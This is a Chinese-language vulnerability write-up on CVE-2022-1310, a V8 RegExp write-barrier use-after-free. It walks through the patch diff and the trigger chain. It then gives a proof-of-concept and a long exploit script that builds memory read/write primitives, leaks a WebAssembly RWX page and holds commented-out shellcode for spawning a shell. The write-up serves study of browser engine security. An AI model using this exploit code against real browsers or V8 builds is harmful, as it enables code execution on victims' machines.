CVE-2022-1310:RegExp[@@replace] missing write barrier lead a UAF

文章目录

  • 环境搭建
  • 漏洞分析
  • 漏洞利用
    • 漏洞触发链
    • RCE
      • 原语构造
  • 总结
  • 参考

环境搭建

嗯,这里不知道是不是环境搭建的有问题,笔者最后成功的实现了任意地址读写,但是任意读写的存在限制,任意写 wasmRWX 区域时会直接报错,然后任意读存在次数限制。

sudo apt install python
git reset --hard e1e92f8ba77145568e781b47b31ad82535e868bf
export DEPOT_TOOLS_UPDATE=0
gclient sync -D// debug version
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug// release debug
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release

漏洞分析

patch 如下:

diff --git a/src/regexp/regexp-utils.cc b/src/regexp/regexp-utils.cc
index dabe5ee..b260071 100644
--- a/src/regexp/regexp-utils.cc
+++ b/src/regexp/regexp-utils.cc
@@ -49,7 +49,8 @@Handle<Object> value_as_object =isolate->factory()->NewNumberFromInt64(value);if (HasInitialRegExpMap(isolate, *recv)) {
-    JSRegExp::cast(*recv).set_last_index(*value_as_object, SKIP_WRITE_BARRIER);
+    JSRegExp::cast(*recv).set_last_index(*value_as_object,
+                                         UPDATE_WRITE_BARRIER);return recv;} else {return Object::SetProperty(

可以看到这里仅仅将 SKIP_WRITE_BARRIER 替换成了 UPDATE_WRITE_BARRIER。原来的 SKIP_WRITE_BARRIER 标志会跳过写屏障处理,这里与 GC 有关,具体可以自行谷歌或百度,当然大概原理可以参考后面的参考文章。

简单来说,考虑如下漏洞场景:

  • 对象 Xnew space 中,对象 Yold space 中,而对象 X 仅仅由对象 Y 引用且对象 X 并不是全局的
  • 那么如果此时触发 minor_gc,则对象 X 并不会被遍历 mark,所以此时会将 minor_gc 清除释放
  • 而对象 Y 还保存着对象 X 的引用,所以如果此时操作对象 Y 中对对象 X 的引用,则导致 UAF

那么为了避免上述漏洞场景发生,V8 开发人员为 GC 引入了写屏障,即在执行 object.filed = other_object 时,会将两者的引用关系添加到引用列表中,所以在上述漏洞场景的第二步准备清除对象 X 时,会发生其在引用列表中,所以此时就不会清除释放对象 X,从而避免了漏洞的产生。而这里的写屏障就是 UPDATE_WRITE_BARRIER 标志保障的,当标志为 SKIP_WRITE_BARRIER时不会执行写屏障处理。

当然了仅仅是 SKIP_WRITE_BARRIER 其实问题不太大,只要不产生对象引用即可。这里我们跟踪到上述漏洞函数:

MaybeHandle<Object> RegExpUtils::SetLastIndex(Isolate* isolate,Handle<JSReceiver> recv,uint64_t value) {Handle<Object> value_as_object =isolate->factory()->NewNumberFromInt64(value);if (HasInitialRegExpMap(isolate, *recv)) {JSRegExp::cast(*recv).set_last_index(*value_as_object, SKIP_WRITE_BARRIER);return recv;} else {return Object::SetProperty(isolate, recv, isolate->factory()->lastIndex_string(), value_as_object,StoreOrigin::kMaybeKeyed, Just(kThrowOnError));}
}

该函数就是设置 RegExp.lastIndex,而我们可以看到这里设置的类型为 Smi 或者 HeapNumber,跟进 NewNumberFromInt64 函数:

template <typename Impl>
template <AllocationType allocation>
Handle<Object> FactoryBase<Impl>::NewNumberFromInt64(int64_t value) {if (value <= std::numeric_limits<int32_t>::max() &&value >= std::numeric_limits<int32_t>::min() &&Smi::IsValid(static_cast<int32_t>(value))) {return handle(Smi::FromInt(static_cast<int32_t>(value)), isolate());}return NewHeapNumber<allocation>(static_cast<double>(value));
}

可以看到当 value[smi_min, smi_max] 范围内时,返回的是一个 Smi 类型;而当 value 不在该范围内时,返回的是一个 HeapNumber 类型。

Smi 类型是不存在错误的,因为其并不是在堆上另外分配的,其会直接存储在 RegExp.lastIndex 字段中;主要的问题就是 lastIndex 有可能是 HeapNumber 类型的,其是堆上分配的对象,所以这里存在 RegExp.lastIndex 对其的引用。

因此如果一开始 RegExpold space,而当程序执行到该函数时,value (即重新设置的 lastIndex)的范围不在 Smi 所表示的范围内,那么此时就会在 new space 创建一个 HeapNumber 对象然后赋给 RegExp.lastIndex。那么这里就满足上面描述的漏洞场景了:

  • RegExpold space 的一个对象,RegExp.lastIndexnew space 的一个对象
  • 在设置 RegExp.lastIndex 没有开启写屏障,所以此时触发 minor_gc 会导致 RegExp.lastIndex 所指对象被释放

漏洞利用

漏洞触发链

首先需要考虑的就是如何执行到 SetLastIndex 函数的 if 分支:

MaybeHandle<Object> RegExpUtils::SetLastIndex(Isolate* isolate,Handle<JSReceiver> recv,uint64_t value) {Handle<Object> value_as_object =isolate->factory()->NewNumberFromInt64(value);if (HasInitialRegExpMap(isolate, *recv)) { // <== check JSRegExp::cast(*recv).set_last_index(*value_as_object, SKIP_WRITE_BARRIER); // <== targetreturn recv;} else {return Object::SetProperty(isolate, recv, isolate->factory()->lastIndex_string(), value_as_object,StoreOrigin::kMaybeKeyed, Just(kThrowOnError));}
}

首先想要执行到 target,则需要通过 HasInitialRegExpMap(isolate, *recv) 验证,即 RegExp 对象的 map 是否发生改变。

然后往上引用查找,可以发现在 SetAdvancedStringIndex 函数中调用了 SetLastIndex

这里其实还要其它逻辑也会调用到 SetLastIndex 函数,但是难以利用

MaybeHandle<Object> RegExpUtils::SetAdvancedStringIndex(Isolate* isolate, Handle<JSReceiver> regexp, Handle<String> string,bool unicode) {Handle<Object> last_index_obj;// 获取 lastIndex 属性ASSIGN_RETURN_ON_EXCEPTION(isolate, last_index_obj,Object::GetProperty(isolate, regexp,isolate->factory()->lastIndex_string()),Object);// 得到 lastIndex 的值ASSIGN_RETURN_ON_EXCEPTION(isolate, last_index_obj,Object::ToLength(isolate, last_index_obj), Object);// last_index 为 old_lastIndex 的值const uint64_t last_index = PositiveNumberToUint64(*last_index_obj);// new_last_index 为新的 lastIndex 的值,即就是将 old_lastindex + 1const uint64_t new_last_index =AdvanceStringIndex(string, last_index, unicode);return SetLastIndex(isolate, regexp, new_last_index);
}uint64_t RegExpUtils::AdvanceStringIndex(Handle<String> string, uint64_t index, bool unicode) {DCHECK_LE(static_cast<double>(index), kMaxSafeInteger);const uint64_t string_length = static_cast<uint64_t>(string->length());if (unicode && index < string_length) {const uint16_t first = string->Get(static_cast<uint32_t>(index));if (first >= 0xD800 && first <= 0xDBFF && index + 1 < string_length) {DCHECK_LT(index, std::numeric_limits<uint64_t>::max());const uint16_t second = string->Get(static_cast<uint32_t>(index + 1));if (second >= 0xDC00 && second <= 0xDFFF) {return index + 2;}}}return index + 1;
}

可以看到 SetAdvancedStringIndex 函数会将 lastIndex+1,然后在调用 SetLastIndex,所以如果我们让 old_lastIndex = smi_max,那么当执行到 SetAdvancedStringIndex 函数时,new_lastIndex = old_lastIndx + 1 = smi_max + 1,此时进入 SetLastIndex 函数后,就可以成功执行到 target

然后继续向上引用查找,可以发现仅有 Runtime_RegExpReplaceRT 函数调用了 SetAdvancedStringIndex,该函数在执行 replace 操作时被调用:

// Slow path for:
// ES#sec-regexp.prototype-@@replace
// RegExp.prototype [ @@replace ] ( string, replaceValue )
RUNTIME_FUNCTION(Runtime_RegExpReplaceRT) {HandleScope scope(isolate);DCHECK_EQ(3, args.length());CONVERT_ARG_HANDLE_CHECKED(JSReceiver, recv, 0);CONVERT_ARG_HANDLE_CHECKED(String, string, 1);Handle<Object> replace_obj = args.at(2); // 被替换对象Factory* factory = isolate->factory();string = String::Flatten(isolate, string); // 替换字符串// replace_obj 是否是回调函数const bool functional_replace = replace_obj->IsCallable();Handle<String> replace;if (!functional_replace) {// 不是则转换为字符串存储在 repalce 中ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, replace,Object::ToString(isolate, replace_obj));}// Fast-path for unmodified JSRegExps (and non-functional replace).// JSRegExp 没有被修改(查看IsUnmodifiedRegExp可以指的主要就是指exec属性没有被修改)则进入快速路径if (RegExpUtils::IsUnmodifiedRegExp(isolate, recv)) {// We should never get here with functional replace because unmodified// regexp and functional replace should be fully handled in CSA code.CHECK(!functional_replace);Handle<Object> result;ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, result,RegExpReplace(isolate, Handle<JSRegExp>::cast(recv), string, replace));DCHECK(RegExpUtils::IsUnmodifiedRegExp(isolate, recv));return *result;}// 被替换字符串的长度const uint32_t length = string->length();// 检查是否是全局匹配Handle<Object> global_obj;ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, global_obj,JSReceiver::GetProperty(isolate, recv, factory->global_string()));const bool global = global_obj->BooleanValue(isolate);bool unicode = false;if (global) { // 具有全局匹配标志(g),则会将 lastIndex 置为 0,即从头开始匹配Handle<Object> unicode_obj;ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, unicode_obj,JSReceiver::GetProperty(isolate, recv, factory->unicode_string()));unicode = unicode_obj->BooleanValue(isolate);RETURN_FAILURE_ON_EXCEPTION(isolate,RegExpUtils::SetLastIndex(isolate, recv, 0));}Zone zone(isolate->allocator(), ZONE_NAME);ZoneVector<Handle<Object>> results(&zone);// 开始匹配while (true) {Handle<Object> result;// 调用 re.exec 进行匹配替换处理ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, result, RegExpUtils::RegExpExec(isolate, recv, string,factory->undefined_value()));// 匹配失败则退出循环,这里匹配失败的标志是返回 nullif (result->IsNull(isolate)) break;results.push_back(result);if (!global) break; // 不是全局匹配,则匹配一次就返回Handle<Object> match_obj; // 获取 match_obj[0]ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, match_obj,Object::GetElement(isolate, result, 0));Handle<String> match; // 转换为字符串ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, match,Object::ToString(isolate, match_obj));// 如果 match->length() = 0 则会调用到 SetAdvancedStringIndex 函数if (match->length() == 0) {RETURN_FAILURE_ON_EXCEPTION(isolate, RegExpUtils::SetAdvancedStringIndex(isolate, recv, string, unicode));}}
......

主要关注的功能点如下(具体看注释):

  • 如果 re.exec 没有被修改过则直接走快速路径
  • 如果 re.exec 被修改了则走慢速路径
    • 如果有设置全局匹配标志(g),则设置 lastIndex = 0
    • 调用 re.exec 进行匹配 [一个 loop]
      • 如果返回 null,则 break
      • 如果没有设置全局匹配标志(g),则 break
      • 检查 re.exec 返回的对象(字符串)长度是否为 0
        • 如果为 0,则调用 SetAdvancedStringIndex

我们的目的就是调用 SetAdvancedStringIndex,所以得绕过上述相关逻辑:

  • 修改 re.exec,使得执行流走慢速路径
  • 设置全局匹配标志(g)防止提前 break
  • re.exec 中再次修改 re.exec 使其返回 null,从而防止无限循环

综上所述,我们最后给出 poc

const {log} = console;
const MAX_SMI = 1073741823;
var roots = new Array(0x30000);
var index = 0;function major_gc() {new ArrayBuffer(0x7fe00000);
}function minor_gc() {for (let i = 0; i < 8; i++) {roots[index++] = new ArrayBuffer(0x200000);}roots[index++] = new ArrayBuffer(8);
}var re = RegExp("foo", "g"); // 全局对象 re, 设置全局匹配标志 "g"
RegExp.prototype.exec = function() { return null; }; // 修改 RegExp 原型链上的 exec 函数re.exec = function() {major_gc();             // 使 re 移动到 old spacenew Array(0x10);        // 分配一个 tmp bufre.lastIndex = MAX_SMI; // 设置 re.lastIndex = SMI_MAXdelete re.exec;         // 删除 re.execreturn [""];            // 返回 [""]
};
var str = re[Symbol.replace]("ooo", "guys");minor_gc(); // minor_gc 释放 re.lastIndex 引用的对象
major_gc(); // 标记 re.lastIndex 对象为 livenew Array(0x40);%DebugPrint(re.lastIndex);
// 输出:
// DebugPrint: 0x177a00002469: [Oddball] in ReadOnlySpace: #hole

这里稍微解释一下 poc 的构造。我们最开始把 RegExp.prototype.exec 设置为了返回 null 的函数其主要就是为了防止无限循环。

当执行 re[Symbol.replace]("ooo", "guys"); 时:

  • 会调用到 Runtime_RegExpReplaceRT 函数,由于我们修改了 re.exec,所以其会走慢速路径。
  • 而我们设置了 g 标志,所以 re.lastIndex 被修改为 0
  • 然后调用 re.exec 进行匹配:
re.exec = function() {major_gc();             // 使 re 移动到 old spacenew Array(0x10);        // 分配一个 tmp bufre.lastIndex = MAX_SMI; // 设置 re.lastIndex = SMI_MAXdelete re.exec;         // 删除 re.execreturn [""];            // 返回 [""]
};
  • re.exec 返回 [""],其不为 null,所以不会 break。主要在 re.exec 中的操作,此时 re 已经移动到了 old space 区,re.lastIndex = SMI_MAXre.exec 属性被删除了
  • 由于设置了 g 标志,所以不会 break
  • 检查 re.exec 返回的字符串长度是否为 0,这里返回的 "" 其长度是为 0 的
    • 通过长度为 0 检查,从而调用 SetAdvancedStringIndex
      • SetAdvancedStringIndex 函数中 new_lastIndex = old_lastIndex + 1 = SMI_MAX + 1,然后调用 SetLastIndex
        • SetLastIndex 中,由于 re.exec 已经被删除了,所以此时可以通过 HasInitialRegExpMap 检查。最后成功执行到漏洞逻辑
  • 然后会继续循环匹配,这时又会调用 re.exec,但是在第一次调用 re.execre.exec 属性被删除了,所以此时会到原型链上找,最后执行的 re.exec 其实就是 RegExp.prototype.exec
RegExp.prototype.exec = function() { return null; };
  • re.exec 返回 null,跳出循环,然后执行后面的代码

RCE

这里主要利用到了 v8(d8) 的一个特性:

  • 引入指针压缩后,特定对象低 4 字节固定
    所以其实 HOLEY_DOUBLE_ELEMENTS FixedDoubleArray map 的低 4 字节是固定的,考虑如下测试用例:

4 种情况的输出分别是:

DebugPrint: 0x16ac0004a4f1: [JSArray]- map: 0x16ac00203b41 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
-------------------------------------
DebugPrint: 0x15af0004a4f1: [JSArray]- map: 0x15af00203b41 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
-------------------------------------
DebugPrint: 0x10630004a4f1: [JSArray]- map: 0x106300203b41 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
-------------------------------------
DebugPrint: 0x53b0004a481: [JSArray]- map: 0x053b00203b41 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]

可以看到这里的 map 的低 4 字节是固定的 0x00203b41

这也说明了这种利用方式是针对特定版本环境的,即 exp 不具备通用性

所以其实我们是没必要泄漏 map 的,接下来就是去构造对象重叠:
在这里插入图片描述
即我们申请一个特定大小的数组对象,并在数组中布置好 map|properties,len|element,那么就有机会形成如上图的内存布局,此时我们如果拿出 fake_obj = re.lastIndex,则 v8 会根据 map 将其解析为一个浮点数组对象。而我们可以通过 fake_array 去修改 fake_objlength/element

为什么是特定大小呢?因为特定大小的数组对象其 map/element 每次分配都是固定的

原语构造

addressOf:可以将 fake_objlength 改大,从而实现越界读,然后就可以读取后面的 obj 地址
arb_read_heap:这里主要是利用其来泄漏 RWX 区域的地址,我们可以修改 fake_objelementwasm_instance offset + ? 从而泄漏 rwx_addr
arb_read/arb_write:喷射大量 ArrayBuffer,从而利用越界写修改 backing_store

exp 如下:

const {log} = console;
const MAX_SMI = 1073741823;
var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigUint64Array(raw_buf);
var roots = new Array(0x30000);
var index = 0;function l2d(val) {l_buf[0] = val;return d_buf[0];
}function d2l(val) {d_buf[0] = val;return l_buf[0];
}function hexx(str, val) {log(str+": 0x"+val.toString(16));
}function decc(str, val) {log(str+": "+val.toString());
}function major_gc() {new ArrayBuffer(0x7fe00000);
}function minor_gc() {for (let i = 0; i < 8; i++) {roots[index++] = new ArrayBuffer(0x200000);}roots[index++] = new ArrayBuffer(8);
}var spray_chunk_arr = new Array(1000);
function spray_chunk() {for (let i = 0; i < 200; i++) {new ArrayBuffer(0x500);spray_chunk_arr[i] = new ArrayBuffer(0x10);new ArrayBuffer(0x2024);}}var re = RegExp("foo", "g");
RegExp.prototype.exec = function() { return null; };re.exec = function() {major_gc();new Array(0x10);re.lastIndex = MAX_SMI;delete re.exec;return [""];
};
var str = re[Symbol.replace]("ooo", "guys");minor_gc();
major_gc();var fake_obj = re.lastIndex;//print(l2d(0x0000226900203b19n));
//print(l2d(0x0000800000342151n));/*
1.86926619662186e-310
6.95335597662764e-310
*/var fake_array =[1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310];var addressOf_array = [0x5f74, 0x5f74, fake_obj, fake_array];var spray_buf = [];
for (let i = 0; i < 0x30; i++) {spray_buf[i] = new ArrayBuffer(0x2024);
}var addressOf_idx = -1;
for (let i = 0; i < fake_obj.length; i++) {let val = d2l(fake_obj[i]);if (val == 0xbee80000bee8n) {addressOf_idx = i+1;hexx("addressOf_idx", addressOf_idx);break;}
}if (addressOf_idx == -1) {throw "Failed to leak addressOf_idx";
}var backing_store = -1;
var backing_store_idx = -1;
for (let i = 0; i < fake_obj.length-2; i++) {let val = d2l(fake_obj[i]);if (val == 0x2024n) {hexx("[===dump===]", val);hexx("[===dump===]", d2l(fake_obj[i+1]));hexx("[===dump===]", d2l(fake_obj[i+2]));fake_obj[i] = l2d(0x200n);fake_obj[i+1] = l2d(0x200n);backing_store = d2l(fake_obj[i+2]);backing_store_idx = i+2;break;}
}if (backing_store_idx == -1) {throw "Failed to leak backing_store_idx";
}hexx("backing_store", backing_store);
hexx("backing_store_idx", backing_store_idx);
var victim_idx = -1;
var dv;
for (let i = 0; i < 0x30; i++) {if (spray_buf[i].byteLength == 0x200) {log("construct evil dv successfully");fake_obj[backing_store_idx-1] = l2d(0x2026n);fake_obj[backing_store_idx-2] = l2d(0x2026n);dv = new DataView(spray_buf[i]);victim_idx = i;break;}
}if (victim_idx == -1) {throw "Failed to leak victim_idx";
}function addressOf(obj) {addressOf_array[2] = obj;return (d2l(fake_obj[addressOf_idx]) & 0xffffffffn);
}var self_idx = -1;
for (let i = 1; i < 48; i+=2) {fake_array[i] = l2d(0x800000000n);val = d2l(fake_obj[0]);if (val != 0x0000226900203b19n) {self_idx = i;fake_array[i] = 6.95335597662764e-310;break;}
}if (self_idx == -1) {throw "Failed to leak self_idx";
}
hexx("self_idx", self_idx);function arb_read_heap(off) {fake_array[self_idx] = l2d((off-8n)|0x800000000n);let val = d2l(fake_obj[0]);fake_array[self_idx] = 6.95335597662764e-310;return val;
}function arb_write(addr, val) {fake_array[self_idx] = 6.95335597662764e-310;fake_obj[backing_store_idx] = l2d(addr);dv.setFloat64(0, l2d(val), true);
}function arb_read(addr) {
//      print("arb_read 1");fake_array[self_idx] = 6.95335597662764e-310;
//      print("arb_read 2");fake_obj[backing_store_idx] = l2d(addr);
//      fake_obj[backing_store_idx+1] = l2d(addr);
//      print("arb_read 3");return dv.getBigInt64(0, true);
}var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module, {});
var pwn = wasm_instance.exports.main;
var wasm_instance_offset = addressOf(wasm_instance);
hexx("wasm_instance_offset", wasm_instance_offset);var rwx_addr = arb_read_heap(wasm_instance_offset+0x60n);
hexx("rwx_addr", rwx_addr);var shellcode = [0x2fbb485299583b6an,0x5368732f6e69622fn,0x050f5e5457525f54n
];/*
for (let i = 0; i < shellcode.length; i++) {arb_write(rwx_addr, shellcode[i]);rwx_addr += 8n;
}
*//*
for (let i = 0; i < 0x100; i++) {log(i.toString(16)+" => "+d2l(fake_obj[i]).toString(16));
}
*//*
//%DebugPrint(dv.buffer);
%DebugPrint(fake_obj);
var chunk_addr = backing_store - 0x10n;
for (let i = 0; i < 50; i++) {hexx("chunk_addr", chunk_addr);let prev_size = arb_read(chunk_addr);let size = arb_read(chunk_addr+8n);hexx("size", size);hexx("prev_size", prev_size);if (size !== 0n && (size%2n) === 0n) {let prev_ptr = chunk_addr - prev_size;
//              hexx("prev_ptr", prev_ptr);let fd = arb_read(prev_ptr+0x10n);
//              hexx("fd", fd);let bk = arb_read(prev_ptr+0x18n);
//              hexx("fd", fd);if (((fd>>48)&0xff00n) === 0x7f00n) {hexx("fd", fd);break;} else if (((bk>>48)&0xff00n) === 0x7f00n) {hexx("bk", bk);break;}}size -= ((size%2n)===0n?0n:1n);chunk_addr += size;
//      print("-------------------------------------------------------");
}
*///pwn();//readline();

总结

总的来说难度不大,但是搞了好久,主要就是环境存在问题,最后的 exp 也打不通。然后对 GC 的了解也是浮于表面。

参考

https://d0ublew.github.io/writeups/osu-gaming-ctf-2024/pwn/osu-v8/index.html#osu-v8

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/744841.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

leetcode刷题日志-108/1382将有序数组转换为二叉搜索树/将二叉搜索树变平衡

由于这两道题思路极其类似&#xff0c;在此统一记录&#xff1a; 108题.将有序数组转换为平衡二叉搜索树 思路&#xff1a;给定的数组已经升序排列&#xff0c;而二叉搜索树中序遍历的结果就是升序&#xff0c;但是仅凭中序遍历不能确定一颗二叉树&#xff0c;但是题目只是说…

郭炜老师mooc第十一章数据分析和展示(numpy,pandas, matplotlib)

多维数组库numpy numpy创建数组的常用函数 # numpy数组import numpy as np #以后numpy简写为np print(np.array([1,2,3])) #>>[1 2 3] print(np.arange(1,9,2)) #>>[1 3 5 7] 不包括9 print(np.linspace(1,10,4)) #>>[ 1. 4. 7. 10.] # linespace(x,y,n)&…

【C++ 】stack 和 queue

1. 标准库中的stack stack 的介绍&#xff1a; 1. stack是一种容器适配器&#xff0c;专门用在具有后进先出操作的上下文环境中&#xff0c;其删除只能从容器的一端进行 元素的插入与提取操作 2. stack是作为容器适配器被实现的&#xff0c;容器适配器即是对特定类封装作为其…

Solidity 智能合约开发 - 基础:基础语法 基础数据类型、以及用法和示例

苏泽 大家好 这里是苏泽 一个钟爱区块链技术的后端开发者 本篇专栏 ←持续记录本人自学两年走过无数弯路的智能合约学习笔记和经验总结 如果喜欢拜托三连支持~ 本篇主要是做一个知识的整理和规划 作为一个类似文档的作用 更为简要和明了 具体的实现案例和用法 后续会陆续给出…

RUST 每日一省:rust logo收集

rust的logo集合&#xff0c;看看有没有你喜欢的&#xff0c;挑一个吧&#xff1b; GitHub - XuHugo/rust-logo: Collection of logo images for all rust languages 下边只是挑选了几个&#xff0c;更多的还是看github吧。

Apache Doris 2.1.0 版本发布:开箱盲测性能大幅优化,复杂查询性能提升 100%

亲爱的社区小伙伴们&#xff0c;我们很高兴地向大家宣布&#xff0c;在 3 月 8 日我们引来了 Apache Doris 2.1.0 版本的正式发布&#xff0c;欢迎大家下载使用。 在查询性能方面&#xff0c; 2.1 系列版本我们着重提升了开箱盲测性能&#xff0c;力争不做调优的情况下取得较好…

第四百零二回

文章目录 知识回顾示例代码经验总结 我们在上一章回中介绍了MethodChannel的使用方法&#xff0c;本章回中将介绍EventChannel的使用方法.闲话休提&#xff0c;让我们一起Talk Flutter吧。 知识回顾 我们在前面章回中介绍了通道的概念和作用&#xff0c;并且提到了通道有不同的…

Qt 线程池 QThreadPool

一.Qt 线程池 QThreadPool介绍 Qt线程池是一种管理多个线程的并发编程模型&#xff0c;通过使用线程池可以提高性能、控制并发度、提供任务队列和简化线程管理。 在Qt中&#xff0c;线程池的使用主要涉及以下几个步骤&#xff1a; 创建任务类&#xff1a;需要定义一个任务类&am…

javaweb数据传参类型(2)

前言 友友们好呀&#xff0c;今天来分享一下对于各种数据类型传参的问题&#xff0c;今天陪伴我们的云海 目录 前言 数组集合传参 补充 日期参数 补充 Json格式数据传参 补充 路径参数 补充 今日分享 ​​​​​​​数组集合传参 类似于我们之前进行的简单的参数传递…

【C++】string的底层剖析以及模拟实现

一、字符串类的认识 C语言中&#xff0c;字符串是以\0结尾的一些字符的集合&#xff0c;为了操作方便&#xff0c;C标准库中提供了一些str系列的库函数&#xff0c; 但是这些库函数与字符串是分离开的&#xff0c;不太符合OOP的思想&#xff0c;而且底层空间需要用户自己管理&a…

Android14之禁止vbmeta.img签名校验(一百九十)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a;多媒…

区别于传统家!三翼鸟定制智慧家电家居一体化场景

在这个科技创新、智能AI主导的时代&#xff0c;寻求更便捷智慧、舒心适宜、一体化的居家场景&#xff0c;成为一个时代的命题和竞赛&#xff0c;也是家居行业共同奔赴的使命。在纷繁复杂的竞争格局和方向答案中&#xff0c;一条清晰坚定的路径正在显露出来…… AWE前一天&…

Jsp在Javaweb中扮演什么角色?

1.什么是Jsp JSP&#xff08;Java Server Pages&#xff0c;Java 服务器页面&#xff09;是一种动态网页技术&#xff0c;它允许在 HTML 页面中嵌入 Java 代码&#xff0c;并由 Web 服务器在请求页面时动态生成 HTML 页面。JSP 通常用于创建动态 Web 内容&#xff0c;如交互式表…

影城管理系统|基于springboot框架+ Mysql+Java+B/S架构的影城管理系统设计与实现(可运行源码+数据库+设计文档+部署说明)

推荐阅读100套最新项目 最新ssmjava项目文档视频演示可运行源码分享 最新jspjava项目文档视频演示可运行源码分享 最新Spring Boot项目文档视频演示可运行源码分享 目录 前台功能效果图 管理员功能登录前台功能效果图 系统功能设计 数据库E-R图设计 lunwen参考 摘要 研究…

智慧文旅|AI数字人导览:让旅游体验不再局限于传统

AI数字人导览作为一种创新的展示方式&#xff0c;已经逐渐成为了VR全景领域的一大亮点&#xff0c;不仅可以很好的嵌入在VR全景中&#xff0c;更是能够随时随地为观众提供一种声情并茂的讲解介绍&#xff0c;结合VR场景的沉浸式体验&#xff0c;让观众仿佛置身于真实场景之中&a…

数据结构与算法--算法和算法分析

算法与数据结构之间存在密不可分的关系。简单来说&#xff0c;数据结构是存储和组织数据的方式&#xff0c;而算法则是操作和处理这些数据的方法。 首先&#xff0c;数据结构为算法提供了基础。算法是解决问题的步骤和流程&#xff0c;通过对数据结构进行操作&#xff0c;算法可…

【pyautogui】PyAutoGUI 的简单使用

文章目录 1 简介2 通用功能2.1 暂停/休眠/耗时2.2 自动防故障功能 3 鼠标控制3.1 移动鼠标3.2 获取鼠标指针位置3.3 点击鼠标3.4 拖动鼠标3.5 滚动鼠标3.6 常用方法 4 键盘控制4.1 输入字符串 write4.2 按键操作 press4.3 按下 & 释放4.4 组合键 hotkey4.5 键名 5 屏幕图像…

2.1 关系数据结构及形式化定义 数据库概论

目录 2.1.1 关系 关系&#xff1a;概念 1. 域&#xff08;Domain&#xff09; 2.笛卡尔积 元组&#xff08;Tuple&#xff09; 分量&#xff08;Component&#xff09; 基数&#xff08;Cardinal number&#xff09; 3. 关系 候选码&#xff08;Candidate key&#xf…

软件设计师17--磁盘管理

软件设计师17--磁盘管理 考点1&#xff1a;存储管理 - 磁盘管理调度算法磁盘调度 - FCFS磁盘调度 - SSTF例题&#xff1a; 考点1&#xff1a;存储管理 - 磁盘管理 存取时间寻道时间等待时间&#xff0c;训导时间是指磁头移动到磁道所需的时间&#xff1b;等待时间为等待读写的扇…

网工内推 | 上市公司网工,IE认证优先,最高18K*13薪,包吃住

01 深圳市宝腾互联科技有限公司 招聘岗位&#xff1a;网络工程师 职责描述&#xff1a; 1、是整个数据中心的网络技术及安全问题的负责人&#xff0c;确保数据中心业务的正常进行&#xff1b; 2、负责规划、设计、搭建、维护数据中心的网络环境&#xff0c;确保IDC /云平台&a…